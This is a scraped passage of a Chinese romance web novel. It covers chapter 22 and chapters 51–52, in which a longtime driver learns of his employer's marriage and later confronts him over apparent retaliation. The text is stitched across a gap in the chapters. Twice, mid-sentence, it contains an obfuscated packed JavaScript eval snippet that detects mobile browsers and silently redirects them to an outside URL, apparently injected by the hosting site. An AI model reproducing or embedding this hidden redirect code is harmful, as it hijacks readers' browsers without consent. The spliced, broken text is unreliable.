乔施珩进了门，发现厨房里有人在忙，似乎在修东西，他没怎么在意，接话：“暂时还没听说呢，你这房子要动的地方多吗？” “也不少，房顶漏水，厨房里水管也漏水，正好我侄子来这边送货，他懂一些，来帮看看。” “那行，那我就不打扰了。” “哎，别走啊，中午就在这里吃。”老三婶很热情：“咱们也这么多年没见了，一起吃顿饭。” 其实，他们根本不熟，除了小时候在这里蹭过几顿饭之外，他们家的儿子陈波，小时候还总是欺负他，不是把他书包踩脏了，就是把他作业本撕了。 “不了，三婶，我嫂子已经做饭了。”他们客气间，厨房里的人倒是出来了，乔施珩一眼就认出这是给太芬送货的那个人，显然，那个人也认出了乔施珩，但却没有打招呼，只是说：“三婶，你这厨房中午可做不了饭，我带你们出去吃。”他目光这才转向乔施珩：“一起？” 乔施珩急忙拒绝。 跟乔施军回家的路上，他问：“那个不是给嫂子送货的老板吗？他跟老三叔家是什么关系？” “能有什么关系，老三婶那个人你又不是不知道，最喜欢占便宜。那老陈不知道是她多远房的亲戚，非说是她侄子，喊人过来给她修水修电还修房顶。”乔施军摇头：“要我说，那老陈也是个老好人，让他干就干。” 晚上乔施珩跟着太芬出摊，发现她不在原来的位置了，而是被挤在了拐角，他很不解：“大嫂，怎么在这边？” “没办法，他们非说是我占了他的位置，说他那几天是生病了没来，结果我来了就占了他的位置。”太芬不想闹大：“算了阿珩，在这里也还可以。” 这个位置明显没有外面好，乔施珩想去找那个老板了解情况，到了跟前还没说话，那男人就拿着勺子指着他：“你说什么也没用，这就是我家的地儿。” 太芬过来将他拉走：“算了算了，阿珩，讲不通的。” 乔施珩站在灯光下，更显得柔和，他穿着灰色毛衣，衬得他很年轻。不少女孩子过来买串串，乔施珩就帮着太芬装袋递给她们。 周六晚上，乔施珩依旧跟着太芬出摊，没过多久，他就听到一声清脆的：“乔叔叔！” 他抬眼去看，很诧异，竟然是郑祉裕跟郑屿森。郑祉裕带着郑屿森走过来：“路过，森森眼尖，看到你在这里，就把车停在了附近，过来看看你。” 乔施珩有些局促，他忙介绍：“这是我大嫂。”又跟太芬说：“这位是郑祉裕郑总，郑先生的哥哥，这是他的孩子森森。” 太芬显然比乔施珩还要局促，她只点头说了句：“你好。” 郑祉裕点点头，问他：“生意怎么样？” “一般吧，现在天冷了，很多人都爱吃点汤汤水水，热乎的。” “乔叔叔，和我们去吃饭。”郑屿森扯着他的衣角：“我要吃鱼，宝宝番茄鱼，走吧？” “叔叔忙呢，而且叔叔已经吃过了。” 他们说到这里，乔施文来了，她抱怨：“你们这也太偏了吧，走过来都险些没看到你们。”她停下来，一眼就看到了郑祉裕，问乔施珩：“哥你愣着干什么？来客人了。” “不是客人，我是你哥朋友。”郑祉裕笑意盈盈，他没有穿正装，难得架了一幅眼镜，看着很年轻，很贵气。 “朋友啊。”乔施文笑：“你好啊，我叫乔施文。” 郑屿森还在扯乔施珩的衣角：“那叔叔陪我去吃，我给叔叔买玩具。” 乔施珩为难：“叔叔要工作。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16908429|192421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “阿珩，你去吧，我在这里能行。”太芬摆手：“去吧去吧。” 乔施文也说：“哥那你就去吧，我跟嫂子在这里就行。” 郑祉裕倒是笑呵呵，也没阻止郑屿森，任由郑屿森把乔施珩带走。 乔施珩原本以为他说的要吃宝宝番茄鱼，是在哪个商场里，直到车子越开越偏，他才意识到可能是什么高大上的地方。像是看他有些不安，郑祉裕笑：“在白湖边上有一家店，森森喜欢他们家的鱼。” 到了地方，乔施珩才发现这可不是郑祉裕口中的一家店，这是一家完全古风风格的一家著名酒店。郑祉裕显然是这里的熟客，连郑屿森都熟门熟路，只有乔施珩看到天价菜单觉得头皮发麻。 “我在这边有包房，没事会带着森森过来住。”郑祉裕跟他说：“我们就不去餐厅区了。” 他又不懂什么，当然是郑祉裕怎么安排他就怎么照做。跟着郑祉裕上了二十六层，他们进了一间很大的套房，大横厅里堆了一些玩具，应该是郑屿森的。饭菜已经在餐桌上摆好了，冒着热气。 郑屿森很爱吃鱼，这鱼也没有刺，但乔施珩还是很小心替他检查，生怕他被鱼刺卡到。 “老二下周五回来？” “是的。” 郑祉裕点点头：“也挺好的。”他问：“他走之前让我帮他把临海山庄的房子收拾好，说打算住过去，你知道吗？” 乔施珩怔了怔，别说他不知道这个事情，他连他在临海山庄有房子这件事都不知道，于是摇了摇头。 倒是郑祉裕有些尴尬：“那等他回来再说吧。”他笑了笑，补充：“我和森森也住那边。” 乔施珩不明白：“明院不是住得好好的么？” 郑祉裕收回笑容，转换了话题：“要不要再吃点螃蟹？这里的蟹也很有名。” “不用了，我来之前真的已经吃过了。” 郑祉裕摆手：“叫一些给你带上，带回去给你家里人尝尝。” 乔施珩回到家，乔施文早早就等在客厅，他一进来，就扑过去问他：“那是什么人啊？郑先生的哥哥？真的假的？那是他孩子？他结婚了？” 乔施珩被她问得头大：“对啊，结婚了，那是他孩子。” 乔施文有点失望：“孩子都那么大了啊。” 他把蟹放桌上：“你们尝尝这个，白湖的蟹，郑总送的。” “哇，我知道白湖的蟹超级贵的！”乔施珩往楼上喊：“轩轩，婷婷，下来吃蟹。” 乔施珩问：“大哥呢？” “你哥还能去哪儿，老三叔家打牌呢。”太芬去找了一些一次性手套：“戴着这个吃。” 乔施文认真剖蟹，忽然突发奇想：“哥，你说我要是有个孩子的话，会怎么样？” “你在想什么？你先好好毕业吧。”乔施珩问完，不放心：“你是不是交男朋友了？你可不要去找那些乱七八糟的人。” 乔施文不屑：“那可不是什么乱七八糟的人。” “你还没回答我，到底交男朋友了吗？” “哎呀，没有没有，你真的很烦。”乔施文摆了个叉的手势：“以后你也别问我这些了，这都是我的自由，你可不要干涉。” “我不是要干涉你，我是想你能够好好生活，好好工作，不要好高骛远。” “停止啊哥，你有空考虑考虑一下你自己吧，你这个年纪，还不结婚。” 22. 第 22 章 周五那天天气很阴沉，很冷。乔施珩穿了件厚厚的白色羽绒服，带了把伞，早早就离开了宿舍。他从赵秘书那里得知郑先生应该是下午四点多下飞机，专车送回来的话正好是晚饭的时间点。 他想这些天郑先生在外面肯定都是吃的公餐，标准不会太高，一定没有吃好。所以他想去一趟菜市场，买些菜，给他做顿饭。 从菜市场出来，竟然下雨了，到达明院的时候雨下得很大了，乔施珩收了伞。想给郑先生打电话问问他带没带伞，有没有多穿点，今天很明显降温，还想问问他还有没有别的事情，如果他有别的事情，那他就不做饭了。 但打了两通，都没有人接。 乔施珩盯着雨水打在泥土上溅起的水花，明知道他可能不会回，还是给他发了消息。 进门后，他把买来的菜送去冰箱里分类放好，接着，他晃荡到空旷的客厅，盯着落地窗外的大雨，看雨珠在玻璃上连成线。 好半天，他收回目光，看着自己面前的沙发，想到林木曾经在这里下腰，于是抬脚往一边走了走。虽然不知道临海山庄是什么样的房子，但应该跟明院差不多吧，他不喜欢明院，很不喜欢。 胡思乱想了半天，他又翻出手机，还是没有消息。 就是在放下手机的时候，他发现墙面上的壁画下面，好像靠着幅画，用灰白色的画布盖着，他差点就没有看到。 他记得，以前这里是没有画的。 在好奇心的驱使下，他走过去，掀开了那画布。 那不是一幅画，那是一张婚纱照。 西装革履的郑先生身边，站着位长相很大气的女士，他冷着脸，那位女士也没有什么笑容。但饶是这样，他们也很登对，从外貌到气质，都很搭，让人赏心悦目。 乔施珩往后退了一步，毫无预兆的，他腿一软，瘫坐在了地上。 这样的视线里，郑先生的目光就好似与他平行，又好似与他交汇，那张他熟悉的，淡漠的脸上，似乎永远都是一副这样的表情。 可乔施珩清楚，一直以来只有自己知道除去这副淡漠的表情外，他也有过愤怒的时候，无助的时候，脆弱的时候，当然，也有过欢笑的时候。 从很久以前，他捂住耳朵，闭上眼睛，缩进自以为安全的壳中，以为这样就会太平，每一天都还能这样过，他一直在骗自己，哪怕钝痛延绵，也骗自己，吹吹就会好，直到这样的一天来到。从别人议论他这个年纪怎么还不结婚，到别人议论他不结婚再进一步的可能性不大，他明知道会有这么一天，但他唯独没去想。 没敢想。 他这只总是缩在壳里的蜗牛，终于被人提溜着脖子拎了出来。外面果然没有好天气，外面一直在下雨。 他捂住心口，看着手机上那大片泛白的对话框。 “先生，我肚子疼。” 电话那头的郑先生似乎正在听人汇报，他打断对方：“你等一下。” 随后是沉重的木质椅子摩擦地面的声音，他应该是走到了一个没人的地方，问他：“怎么回事？” “我刚刚吃了大院对门那家小吃店的炸串。”乔施珩趴在方向盘上捂着肚子抽气：“我好像是中毒了。” 电话被挂断了。乔施珩换个方向趴着，他揉了揉肚子，还是很痛。 没多久，车门被人拉开，寒风灌了进来。 “痛得厉害吗？”郑先生撑在车门上看他捂着的地方：“是胃痛？” “这里不是肚子吗？” “这是胃。” 乔施珩把手往旁边放了放：“我怎么觉得是这里痛呢？” “那里是心脏。” 郑先生朝他伸手：“你怎么连心脏、胃、肚子都分不清楚。” “我只是不知道是哪里痛，好像哪里都痛。”他握住郑先生的手，对方很轻松的将他拉下车。 “去医院看看。” 他们开车在荒芜的道路上行驶了十分钟，才到一家卫生所，卫生所破旧的门牌上只剩下卫生两个字，乔施珩嘟囔：“这里的卫生条件肯定不达标。” “嗯，这方面后面会重点整治。” 在那间荒芜的卫生所，乔施珩吊了三瓶水。郑先生等在他旁边，一直在打电话，有时候站起来说，有时候坐着说，有时候出去说；有时候生气，有时候无奈，有时候和蔼..... 太疼了。 乔施珩想，怎么疼痛还能跨越时间，翻山过海的来找他，而现在，他还是分不清到底哪里痛，他只知道，再没有比现在更痛的时候了，吹吹也不会再好了。 这天晚上，他在林木下过腰的沙发上坐了很久，直到雨夜变成晴天。那一抹并不刺眼的阳光温和的照在他的脸上，却照不透悬在他头顶上的那片阴霾。他起身，抚平沙发，将散落在地上的画布重新盖好，将冰箱里的东西又装了回去，拿上伞离开了这里，像他没有来过一样。 周日晚上，他收到了赵秘书发来的下周行程表，没多久，郑先生给他发了个定位。乔施珩看着那酒店的名字，并不是很意外。 就连看到那个女人，他都很平静。她很端庄，大方又干练，跟郑先生走在一起，简直是天造地设的一对。她和以往那些男男女女都不一样，她的骨子里透着自信与爽朗，看起来也是个事业型的女性。 如果郑先生有另一半，应该就是这样的。 “来了。”郑祉桓看他车窗降了一半，有点发呆，就和他打了个招呼。 乔施珩这才回神，等他上车后，发动车子离开。 路上，郑祉桓告诉他：“之后我们要换个地方住，去临海山庄住。” 乔施珩提前从郑祉裕那里知道，所以并不惊讶。倒是郑祉桓又说：“以后，明院那边就不过去了。住进临海山庄之前，你跟我去酒店住。” “为什么？”乔施珩确实不理解。 “明院要重新装修，有些年头了。” 显然郑先生理解错了他这个为什么，明院要翻修的原因，他已经知道了。所以他又问了一次：“为什么是我跟你去住？” 郑祉桓显然没有想到他会这么问，抬眼看他，他的头发又长长了，盖住了耳朵。但他只是淡淡说：“没有为什么。” “那什么时候能搬去临海山庄？” “要些时间。”郑祉桓问他：“怎么？” “没什么。”乔施珩扯了个不算笑容的笑容，对他来说，那陌生的地方，像他们再也回不去的大西北，太遥远了。 他们回不去大西北了。 而他，也注定去不了那遥远的地方。 月末申市大范围降温，预报说有雪。乔施珩送完郑先生就回了趟家，乔施军正在因为家庭作业而对两个孩子发火，见到他回来才平息了怒火。乔施珩没有久留，他走得时候去了趟太芬那里，太芬一个人还算能忙得过来，生意也不是特别好，她都有些灰心了：“现在是一天不如一天了。” “天气太冷了，本来人也不多。”乔施珩安慰她：“要是下雨下雪就别出来了。” “哎，再做些日子看看，不行就不做了。”太芬问他：“你是不是过几天就过生日了？要不要回家里来过？” “不用了嫂子，我那天...”他没能说出来。 回到酒店，沙发上堆了一些衣服袋子，郑祉桓擦着头发，浴袍随意系着，他说：“置办了一些衣服，顺手把你的置办了。” “谢谢先生。”乔施珩把袋子收了一收，准备把衣服都挂起来。 “口头谢也太没诚意了吧？”郑祉桓示意他：“用点真东西感谢？” 第二天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16908430|192421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔施珩差点没爬起来，他翻了个身，把闹钟关掉，刚想坐起来，就被郑祉桓一把捞了回去。 “再睡一会儿。” “五分钟哦。”乔施珩又躺了回去。 晚上他去接郑先生下班，不巧他却忽然有饭局。乔施珩就说：“那我在外面等你。” “不用了，天这么冷。”郑祉桓懒懒散散地靠在椅背上，又把手边的窗开了个缝隙，告诉他：“你直接回酒店吧，我吃完饭打车回去。” 于是乔施珩就在酒店里收拾衣服，把他和郑先生的衣服都拿出来挂好，有些需要熨烫的都烫好。卫生倒是有酒店的阿姨打扫，省了他不少事。忙完了以后，他就安安静静地洗好澡在床上看电视，随便找了个最近很火的剧看，一边看着手机，猜测先生到底几点回来。 一直到十一点多，他已经昏昏欲睡，才听到开门的声音。他起来跑过去，帮他拿外套，闻到了一股浓烈的酒味，“喝很多酒吗？” “还好，不是很多。”郑祉桓忽然用手摸了摸他的脸，很冰很冰，又用脑袋去蹭他，上面有些水珠，他问：“还有痕迹吗？” 乔施珩莫名其妙：“什么痕迹？” 郑祉桓换了鞋就把他往窗前推：“你看，下雪了啊，想给你带几片雪花，但都化掉了。” 乔施珩知道他喝多了，他只有喝多了才会露出有些孩子气的一面。以前他经验没那么多的时候会喝多也会喝醉，后来他应付应酬的经验多了，就很少喝多了。 “下雪了啊。”乔施珩倒是真的没注意。 “雨夹雪。”郑祉桓一边脱掉毛衣一边扯他的睡衣：“陪我洗个热水澡怎么样？”他的头卡在毛衣里，出不来，他又急：“帮我一下，卡住了。” 乔施珩把他扒拉出来：“洗个澡就睡觉吧，很晚了。” 哄着他洗漱完，乔施珩把浴室打扫一下，出来就看到他还是站在窗口，窗外已经大雪纷飞。 他看着那个高大的背影，不知道为什么就忽然想起他们以前度过的一个寻常的下雪天。当时他没走稳，摔进了雪地里，郑先生就在后面笑话他，等他站起来迎接他的是郑先生摔给他的雪球。他被灌了一脖子的雪，跟郑先生打雪仗又打不赢，只好独自生闷气。那时没有这么多的高楼大厦，也没有这么多的环卫工人，那片广袤的土地上铺满了很厚的白雪，一眼看过去，好似整个世界都是白色的。 他把脖子里的雪都清理干净，一杯老式的奶茶递到了他面前。 “这里只有一家店。” 乔施珩接过来，盯着那包装上的字认了一会儿：“葡蔺小站？” “店门口的牌子上写着三十年老店。”郑祉桓挑眉：“老字号奶茶啊。” 乔施珩忍不住笑：“三十年前这里会有奶茶吗？”他喝了一口：“很好喝唉。”又很自然而然地递给他：“你尝尝？” 郑祉桓别开脸，抓了把雪：“不爱喝，除了你，就只有个十来岁的小女孩哭着要喝。” 算起来，他有很多年都没有喝过奶茶了呢。 郑祉桓不知何时转过身来，他背靠着落地窗，问他：“在想什么？” 乔施珩笑：“下雪天，突然想喝奶茶了。” “叫外卖？”郑祉桓懒懒散散：“楼下好像就有好几家奶茶店。” 乔施珩摇头：“不是那个味道了。” 郑祉桓走过来，乔施珩问他：“睡觉吗？” “空调开几度啊？这么热。” 乔施珩一时不知道他到底是醉了还是没醉了，回答他：“28度，热吗？” 郑祉桓把他抱起来往床上丢：“还不够热吧。” 乔施珩用脚抵住他的胸口：“你不会是装醉吧？” 郑祉桓握住他的脚腕往肩上搭：“你检查一下，就知道了。” 50-60 第51章 “一起走走？” 这次来的人多，折腾的时间也很长，工作是受到了影响，但影响并不大。 天气本来就热，陈新更是出了一身汗，他到办公室去冲了把澡又换了件衣服，乔施珩没出车，就在外面坐着。 陈新出来后递给他一瓶饮料，“想什么呢？这么入神。” 这段时间一直很乱，乔施珩也说不清自己都想了什么，他想到早上看到的那些人，“怎么那么多人来？” “最近可能比较严格，没什么事，我规范经营。”陈新看他垮着脸，好像心事重重，想到他妹妹的事情，“还没发调查结果吗？” “没。” 陈新安慰他：“上次那个学术不端的新闻，那所学校也是压了差不多一个月才发的结果，所以别太着急了。” 乔施珩虽然觉得着急，但着急也没有办法。而且为了这个事情，他还欠了一堆人情要还，这些人情账就够他还了。 “别愁了，晚上出去喝点？” 乔施珩知道陈新不是那种很会玩的人，他的生活圈子相对来说比较单一，是个务实派的人。所以陈新说出去喝一杯，他自然而然想到那些居酒屋，小饭馆之类的，但陈新却说：“索林娜莎酒吧，去不去？” “酒吧？”乔施珩诧异：“你怎么想去酒吧喝一杯，我以为你会去居酒屋。” “看你这个样子就知道你不知道这是什么酒吧。”陈新压低声音，“GAY吧。” 乔施珩没去过这些地方，他拒绝：“不去，不想去这些地方。”他又问陈新：“你常去吗？” “偶尔吧，想放松的时候会去。”他拍拍乔施珩：“别这么闷闷不乐，有什么心事？或许可以说给我听听。” “也没什么吧，主要还是小文的事情。”乔施珩喝了口饮料，冰凉的感觉让他混沌的头脑清醒了一些。 “你应该乐观一点看待这件事，再说了现在网络发达，新的事件层出不穷，现在人们议论她，新事情上来就忘记了。” “这些我都知道。”乔施珩想，道理他怎么会不懂呢？ 他在意的并不是事件的影响，因为这些都会随着时间的推移而淡去，但因这件事要做出的转变却是实实在在的。就像乔施文，如果没有这件事爆发出的影响，她在被当成小三于大庭广众下被审判之后就已经转变了心态往好的方向去发展了。她本该安安心心找工作，能考上好单位最好，没考上好的单位，郑先生也没有帮她，那么她也可以去找别的工作。 可这件事情发生以后，她虽然表面上看着不是很在乎，也没有寻死觅活，心态反而很好。但恰恰就是这种平静，以及这种平静下酝酿着的隐忍，让他感觉不安。这个家庭无力托举她，虽然自己已经尽可能给了她能力范围内能给到的所有，但他始终缺失了多年的情感照拂。 而这件事从爆发到结局的走向，除了当事人，没人能决定如何对待这件事。就像别人能为她提供一些解决方案，但这个方案需要她的同意才可以施行，她是个成年人，应该对自己的所作所为负责，也应该有足够的能力去衡量风险。 她选择不洗白，以后也不会去做主播带货，那么她就一定有她认为比这些方案都好的可达到的结局。这个结局是她自己能够思考到的，让自己感觉舒适的结局，否则，任何不顾她意愿强加给她的结果都可能对她造成更加的恶劣的影响，这是乔施文的一辈子，没人能轻易为她拍板下结论。 但目前乔施文所想和所选择的结局是不透明的，也或许是她自己还没有思考好或者没决心去做的，这才是乔施珩真正担忧所在。 虽然调查结果还没发布，但欠下的人情乔施珩不想拖。正巧也就当带乔施文出去吃饭转移转移她的注意力了。 饭店是冯昭定的，一家价格不算很高昂至少在乔施珩负担范围内的饭店。 乔施文没了之前活泼的感觉，她穿了一身得体舒适的休闲装，始终面带微笑沉默着。 倒是冯昭一直忙前忙后，端茶倒水，盛逸则都很稀奇，“这么勤快啊？” “废话，我哪天不勤快？”冯昭把他的杯子倒满水，绕到乔施珩旁边坐下。 这样的饭桌上几乎没有说什么其他的话题，基本都是围绕这件事和这件事以后乔施文的工作问题。纵然盛逸则和冯昭都提出会帮她解决工作的问题，但乔施文却没有答应。 “以后再说吧。”她只说了这么一句。 乔施珩也拿捏不准她心里都在想什么，他便出来打了个圆场。 “你可别没苦硬吃，我这是看在你哥面子上才愿意帮你。”冯昭说话不是很客气，但他忽然想起来，“对了，李春生说想见你一面，你什么时候有空？” “他见我干什么？”乔施文条件反射，想到：“该不会是想看我笑话，当面笑我几句吧？” “他确实做得出来，不过我在，他不敢。”冯昭问她：“去不去？什么时候去？给个话。” 乔施文想了想：“懒得总是出门了，等会儿吃完了就去。” 所以，这顿饭吃完后，剩下了乔施珩和盛逸则。 夏夜晚风，星夜霓虹。 “急着回去吗？”乔施珩主动邀请盛逸则：“一起走走？” 盛逸则倒是没想到他会约自己走走，欣然答应。 乔施珩不可避免地想到他不止一次扔掉盛逸则名片的事情来，其实他一直避开盛逸则，也是因为知道对方可能对自己有些不一样的想法。所以他主动开口：“盛总，其实我一直挺抱歉的，为当时扔掉你名片的事情，也为后来那些可能冒犯到你的地方。” 盛逸则穿着一身裁剪精致的休闲西装，他双手插在裤袋里，走得缓慢悠闲，听到乔施珩这么说，他也不意外，“没什么。” “其实之前也有像你一样想要结识我的男士，他们也并不都是为了借我攀郑先生的关系。不过我确实也有这方面的顾虑，因为你也知道，到了郑先生的位置，不止他的身边，就连我这样不起眼的人身边也都少不了那些利益驱动者。”乔施珩有些不好意思，他知道这么说有些自恋，但还是硬着头皮讲下去，“可是也有一些人是单纯冲着我来的。但是我很难再和别人走进一段感情了，所以我会有些抗拒这些人。” 盛逸则表示理解，他只是惋惜：“你是个很不错的人，不管是什么角色，尽职尽责的工作者也好，关爱妹妹的哥哥也罢，又或者以一己之力扛起家庭的重担这些。可惜你遇到了一个不是很适合你的人，并且为了这个人消耗太多感情。” 乔施珩不理解，“其实我觉得，以前我和郑先生的关系还挺隐秘的。” “很多人不会往那个方面去想，我之前打听郑先生喜好的时候，得知他有个跟了他十来年的司机，本来也以为是亲戚关系。但直到我看到你，我就转变了自己的想法，可能没有这方面经历的人都不懂。”盛逸则看了看他，“我当时就想，什么样的感情能让你跟他这么多年，甚至还会羡慕能拥有一份这样纯粹热烈而又隐秘感情的郑先生。” 一份纯粹热烈的感情在现在这个社会确实很难寻了，但太过持久热烈，并不容易被珍惜，毕竟繁华还是太易遮人眼。 “觉得可惜吗？多年的感情断裂。” 乔施珩笑，这个问题，像极了乔施文问他的那句后不后悔。 “其实我确实不是个好人。”盛逸则没得到他的回答，但他似乎已经知道了答案，他不由开始正视自己，“以前也是个什么都玩儿的主，甚至也没想过收心，只是见到你，再联想到一份那么热烈的情感，有些不平衡罢了。你知道像我这样的人，其实很难得到真心。” “我知道你想跟我说什么，无非是想说你很难再开始新感情，但是小乔，我不缺时间。”他停下来，看着乔施珩，“对你我一直都很谨慎，并不是心血来潮。我不知道这份热烈的情感熄灭后还能不能再燃烧，我只希望这份炽热灼烧后，灰烬的余温，能稍微温暖一下我。” 可是灰烬是会散去的，怎么还会有余温呢？ 乔施珩的拒绝显然是单方面的，盛逸则并不想放弃。但是面对一个逃避自己的人，盛逸则也没有办法，即便他鼓励乔施珩可以试试和他从朋友开始做起，但乔施珩其实明白，做朋友就是在给机会。 他不是固执的人，但他确实不想再和差距过大的人有什么情感往来，单纯朋友的话可以，多了一些情感就不可以。 乔施文半夜才回来。 “和李春生都说什么了？” “还能说什么，他对我一通抱怨，怪我的事情把他牵扯出来了。”乔施文觉得这些男人无聊透顶，“我真是眼睛瞎了才想去攀那种男人，以后就算给我一座金山我直接拿金子砸死他。” 看她气呼呼，乔施珩倒是平静了不少，只是他始终心有疑问：“你一直没正面谈工作的事情，是有什么想法吗？” “确实有，不过我还没想好。”乔施文坐到床边擦护手霜，“感觉有些事情还是需要勇气才能够决定。” “是好的事情吗？”乔施珩心中犹疑。 “当然，都这个时候了，我还能坑你不成。”乔施文哀叹，“我是真的命不好，犯这种错的人比比皆是，偏就是我挨全国人民批斗。” “不是你说的吗？背书少背了一段，老师就抽了那段。” 他们相视一笑，像繁星在夏夜绽放，绚丽明亮起来。 乔施珩再历经几次仓库被以各种名义检查的事情之后，终于意识到了不对劲。 老典在门口的吹风机前抽烟，他看着查安全隐患的人犯愁：“你说说，今天SJJ来，明天XFJ来，一周好几回，没事也变得有事了。” “陈老板是不是得罪人了？” “我看八成是，不然隔壁那仓库比咱们大多了，那货还不是一般货，怎么不找他们去？” “以前还没过这情况，看来得让老陈去寺庙里拜拜了。” 几个人七嘴八舌，乔施珩却在心里打了个问号。 他虽然心有疑问，却没有立即去验证自己的猜测，他也觉得是自己想多了。 可当太芬几天没出摊后，他就又有了这方面的猜测…… “说是以后都不让摆了，天天来查。”太芬犯愁，“这可怎么办？” “别急，这里不让还有别的地方呢。” 乔施军也着急：“这附近都不让了，我下午还看见隔壁那家在门口擦车，没出摊呢，说是也不让摆了。” 乔施珩又觉得可能是自己想多了，有可能就是真的不让摆，规范街道经营这些。 但陈新那边的麻烦却没断过。 直到乔施珩看到郑先生新的任职TZ，才决心去找他问问。 可打他电话却没有人接，发信息也不回，打赵秘书的电话，对方表示自己并不跟随他一起调动，所以对他的情况不清楚。 于是，乔施珩想到了他曾经发给自己的地址。 在一个寻常的夏日傍晚，敲响了那扇门—— 作者有话说：明天不更[狗头叼玫瑰] 第52章 “别太过分了。” 虽然乔施珩算准了郑先生的下班时间，但他敲了好久，门也没开。 因为来之前也有过一段时间的纠结，所以没找到人，他除却有些茫然外，也没急着走。 这是个花园小洋房，面积不大，和他家那破旧的二层小楼差不多。这片区域绿化很好，树木郁郁葱葱，还有很多花花草草。他在四周溜达到天黑，又溜达回了那栋房子前。在门口等了差不多十五分钟，郑先生的车才开进来。 看到乔施珩，郑祉桓并不惊讶。 乔施珩看他神色自如，猜测他应该知道自己是为什么而来。他跟在郑祉桓的身后进门，然后在门边换了拖鞋，走到客厅区域站着。 郑祉桓始终没说话，他去厨房倒了两杯水，然后放到客厅上，招呼他：“坐。” 乔施珩坐下来。 “我还以为你不会来找我。”他调整了一下姿势，身体前倾，看向乔施珩，“怎么？不是不想和我扯上关系吗？” 乔施珩看他这个样子，感觉猜测是对的。但他却没直接说，他拐了个弯，先祝贺他：“看到先生的任职书了，恭喜先生。” 郑祉桓听到这句话，脸上的笑容收了一些，他重新审视乔施珩，却没说什么。 “我之前就说了，先生还有大好前途，现在不仅去了核心区，更是到了申市常W，可以说再也找不出第二个像先生这样年轻有为的人来了。” “你是来恭维我的？” “当然不是。”乔施珩拿起桌上的那杯水，还烫着，他反复摩挲杯子，“我工作地方的麻烦事，和你有关吗？” 郑祉桓像是听到了什么笑话，他往沙发上靠去，“不管是加强对食P安全jc或者消F安全检c，这都是职NB门合理合规合法的行为。”甚至没让乔施珩问出来，他就主动提及太芬摆摊的事情，“甚至规范流动摊贩管理，营造安全、有序的CS环境，这都是依据《cs市容和hj卫生管理tl》来实行。” 虽然他这么说，但乔施珩了解他，已经从他的表情中得到了答案。 “先生，从我决心离开以后，我其实一直对你都很尊敬，我也是真的想和你好聚好散，以后碰到了还能打个招呼，我从没想过和你闹翻。”乔施珩看着自己手中的水杯，那水面一直在晃，像波涛汹涌的海，装进了狭小的水杯中。“我也不明白你为什么总是想让我回去，在你明知道我不会回去的情况下，还要做一些可能会有损别人利益的事情来，太幼稚了先生。” 郑祉桓不动声色，就连乔施珩这样明显对他扣帽子的说法，他都没有反驳。 乔施珩不想把情感剖析给一个装聋作哑的人听，所以涉及他那些期待与情感付出的事情，他都没有选择开口，更没有想要打什么感情牌。他只是干巴巴表达了自己的想法，“别太过分了。” 他没喝那杯水，又轻轻把那杯水放下了。 “你说不明白为什么我总是想让你回来。”郑祉桓看着他，他素来冷淡的脸上多了一丝疑惑，“我自己也不明白。”他像是真的不能明白，这种疑惑仿佛在他脸上凝固，“我的确不相信你会离开，所以那个晚上，我以为你是心血来潮，根本没有放在心上。” “可你拿了把伞离开，就真的没再回来。”他脸上的表情除却疑惑外逐渐添杂了一些对乔施珩的审视，接着又混入了一些复杂的很难形容的情感。 “我们这样过了很多年了。”从来对任何事都游刃有余的郑祉桓，在这件事上却显得难以拿捏分寸。 乔施珩很少看到他这样显得有些茫然无措的样子，可他还是反驳了他，“我们这些年并不是一直这样过下去的。” 郑祉桓倾身，他拿起杯子喝了口水，接着他陷入了沉默。 乔施珩不想跟他再纠缠下去，他一直觉得自己懦弱，对郑先生太过宽容，仿佛看他的时候永远觉得他美好。所以他不希望，也不允许郑先生再做任何“幼稚”而又出乎他意料之外的事情来。 他曾经以为自己对他的容忍度很高，高到把自己低进尘埃里，可如今才知道自己对他已经没有了容忍度。 从沙发上站起来的时候，对面的郑祉桓有些慌张，他似乎在思索应该对他说些什么。但直到乔施珩走到门口，他才起身追过去，甚至撞翻了面前的水杯。 “阿珩！” 郑祉桓言语紧张，“我当初结婚，和对方谈好形式婚姻，这是我认为的最好的结局。我结婚也是不想再在各种乱七八糟的人之间周旋了，你能明白吗？在我的立场上，我需要衡量的风险太多了，不到万不得已，我不会把自己也逼上绝路。” 乔施珩转身看他，郑先生从来都是胸有成竹的，他总是能够想得很周全，做得很周到，这点他明白，也敬佩。但现在的郑先生，惊慌，茫然，紧张，混乱 “如果不结婚，不再跟那些人周旋，我只有一条路可以走，很危险的一条路，走错一步，万劫不复。”说到此，他终于有一瞬间脸上的表情变成劫后余生后的喜悦，“但是我成功了。” “所以我们还是可以回到以前，我可以不用再与人虚与委蛇，我可以不再受制于人，你能明白吗？”他急切地表达，看向乔施珩的目光中带着些迫切，他希望乔施珩能明白他的话。 乔施珩也确实是明白，他早就知道他身不由己。他以前确实也没怪过他，因为他们本来就不是正当交往关系。只是现在不一样了，他已经放弃了，他也不希望郑先生再纠缠，这样的纠缠让他厌恶，让他精疲力尽。 所以他很无奈，甚至连多余的话都不想再说。 出了门，晚风微凉，让他从那种被郑先生带入的混乱思绪中解脱。 才走到院中，郑先生的声音又在身后响起，“你想我怎么做？我应该怎么做？我已经尽我所能排除了我能想到的所有风险因素了。” 